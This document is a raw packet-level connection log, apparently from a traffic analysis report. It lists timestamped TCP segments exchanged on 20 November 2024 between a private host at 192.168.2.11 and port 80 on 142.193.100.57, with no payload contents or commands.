        Nov 20, 2024 09:14:47.663785934 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663789034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663801908 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663814068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663822889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663826942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663836956 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.663851023 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.663877964 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859455109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859522104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859533072 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859539032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859559059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859572887 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859584093 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859587908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859611988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859617949 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859644890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859652996 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859684944 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859689951 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859704018 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859714985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859733105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859733105 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859745979 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859759092 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859786034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859787941 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859821081 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859895945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859906912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859925985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859935999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859946966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859954119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859967947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859975100 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859986067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.859992981 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.859997988 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860030890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860057116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860085011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860095024 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860105991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860116959 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860125065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860129118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860153913 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860177994 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860207081 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860218048 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860229015 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860239983 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860250950 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860251904 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860277891 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860304117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860305071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860316038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860347986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860378981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860392094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860441923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860449076 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860452890 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860465050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860476017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860486031 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860491991 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860497952 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860507965 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860523939 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860553980 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860625982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860637903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860647917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860658884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860666990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860670090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860682011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860691071 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860693932 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860706091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860718966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860718966 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860738993 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860759974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860768080 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860793114 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860894918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860907078 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860918045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860929012 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860938072 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860939026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860951900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860963106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860965014 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.860975981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.860992908 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861018896 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861051083 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861052990 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861068010 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861079931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861088991 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861090899 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861119986 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861126900 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861140013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861144066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861151934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861165047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861172915 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861176014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861187935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861201048 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861224890 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861262083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861272097 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861309052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861351967 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861362934 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861371040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861411095 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861454964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861465931 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861478090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861488104 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861488104 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861500025 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861502886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861514091 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861525059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861526012 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861556053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861593962 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861605883 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861624002 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861635923 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861639977 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861648083 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861659050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861665010 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861671925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861696005 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861697912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861713886 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861741066 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861841917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861854076 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861865044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861876011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861886978 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861897945 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861901045 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861910105 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861917973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861922026 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861942053 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861947060 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861958981 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861963034 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.861972094 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.861994028 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862024069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862082005 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862095118 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862107038 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862118006 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862124920 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862128973 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862137079 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862143040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862149954 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862155914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862163067 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862166882 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862166882 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862229109 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862238884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862251043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862262964 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862277985 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862289906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862301111 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.862313032 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.862344027 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948074102 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948148966 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948214054 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948226929 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948239088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948261976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948292017 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948368073 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948380947 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948391914 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948400974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948429108 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948453903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948545933 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948564053 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948575974 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948586941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948589087 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948599100 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948611975 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948618889 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948622942 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948628902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948636055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948646069 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948685884 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948710918 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948721886 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948734045 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948750973 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948781013 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.948892117 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948904037 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.948946953 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949052095 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949063063 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949074030 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949084044 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949095011 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949100018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949107885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949135065 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949153900 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949213982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949225903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949233055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949242115 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949266911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949306965 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949383020 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949394941 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949404955 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949418068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949428082 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949436903 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949450970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949477911 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949543953 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949584007 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949722052 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949743986 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949755907 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949767113 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949769974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949779034 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949790001 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949800014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949801922 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949811935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949822903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949835062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949837923 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949858904 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949875116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949907064 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949918985 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949930906 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949939013 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949949980 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949951887 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949961901 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949973106 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949980974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.949985027 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.949997902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950011015 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950031042 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950072050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950218916 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950263977 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950274944 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950285912 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950295925 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950309992 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950335026 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950362921 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950440884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950453043 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950463057 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950469017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950490952 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950530052 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950589895 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950602055 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950612068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950623989 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950635910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950659990 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950761080 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950772047 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950783968 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950793982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950802088 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950804949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950822115 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950846910 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950907946 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950921059 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950927019 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950937033 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.950970888 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950984001 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.950998068 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951035976 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951204062 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951215982 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951227903 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951256037 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951282978 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951390028 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951401949 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951411963 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951422930 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951433897 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951440096 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951463938 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951482058 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951555014 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951566935 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951577902 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951601982 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951627970 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951714993 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951726913 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951738119 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951750040 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951751947 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951761007 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951772928 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951777935 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951785088 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951841116 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951864958 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951879025 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951894999 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.951919079 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.951946974 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952033997 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952047110 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952056885 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952068090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952085018 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952101946 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952131033 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952220917 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952231884 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952243090 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952249050 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952258110 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952260017 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952287912 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952316046 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952397108 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952409029 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952423096 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952433109 CET804970142.193.100.57192.168.2.11
        Nov 20, 2024 09:14:47.952445984 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:47.952471972 CET4970180192.168.2.1142.193.100.57
        Nov 20, 2024 09:14:48.035173893 CET804970142.193.100.57192.168.2.11
